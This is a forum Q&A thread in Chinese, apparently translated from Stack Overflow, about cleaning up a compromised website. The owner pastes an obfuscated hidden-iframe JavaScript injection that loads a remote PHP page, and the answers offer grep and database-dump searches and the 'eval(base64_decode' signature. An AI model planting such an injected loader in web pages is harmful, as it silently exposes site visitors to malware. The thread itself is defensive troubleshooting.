我网站上的某些网页包含一个非预期的隐藏iframe,其输出中包含一些javascript。我之前已经阅读过关于被黑客攻击的网站以及类似的代码被添加到php和html文件中,但这不是问题,因为我的文件中没有一个实际上包含最终输出的内容。我不知道这是怎么回事。 是否有一些全局的PHP代码在每次加载页面时执行,或者它是否处于apache级别?我很茫然。
以下是我在输出中看到的一个例子:
<div style="display: block;overflow:hidden;width:0;height:0;left:0px;position:absolute;top:0px"><img id="7867" height="1" width="1"><img src="about:blank" onError='bvnnho=unescape("%27");fyvdmn=eval("document.getElementById("+bvnnho+"npelmp"+bvnnho+").src=unescape("+bvnnho+"%68%74%74%70%3A%2F%2F"+bvnnho+")+document.getElementById("+bvnnho+"7867"+bvnnho+").id+unescape("+bvnnho+"%2E%69%6E%2F"+bvnnho+")+"+bvnnho+"1299250012"+bvnnho+"+unescape("+bvnnho+"%2E%70%68%70"+bvnnho+")");document.getElementById("npelmp").src=fyvdmn' style="width:300;height:300;border:0px;"><iframe id="npelmp" src="about:blank"></iframe></div>
我仔细检查了我的脚本,但是看不出它是如何输出的。我注意到的原因是我的脚本用于编写csv文件,iframe甚至是隐藏的 - 像csv文件中的痛苦一样突出。我的网站主持人说他们没有得到其他用户的任何投诉,所以这一定是我的问题。
我检查了所有代码(手动并与我的本地副本进行比较),然后我浏览了我的数据库(无论如何只包含整数)。我没有发现它来自哪里的迹象。
哦,另外一点让人难以追查的是,它每次都不存在。因此,当我试图显示主机支持时,它就不存在了。
之前有没有人见过这个。或者我还能想到其他什么地方?
...谢谢
答案 0 :(得分:0)
如果您有ssh访问权限,则可以运行
grep iframe ./ -Ri
(提示,黑客通常使用隐藏目录,名为“”或类似的东西,这可能就是为什么找不到它)
如果失败,请尝试使用phpmyadmin搜索数据库,或者将原始内容转储到文件中并按照常规方式对其进行搜索
mysqldump -uUSERID -pPASSWORD DATABASENAME > mydump.sql
grep iframe mydump -i
答案 1 :(得分:0)
这很常见。
在所有文件中搜索如下字符串:
<?php eval(base64_decode("ZnVuY3Rpb24g...
此代码可能位于header.php文件或其他.php文件中。
请在此发回您所发现的内容。
答案 2 :(得分:0)
我意识到这是一篇旧帖子,但对于拥有相同/类似probs的读者,请尝试使用 http://sitecheck.sucuri.net/scanner/
或使用以下脚本。 http://www.php-beginners.com/solve-wordpress-malware-script-attack-fix.html(虽然它是word wordpress,但也适用于其他网站)
祝你好运!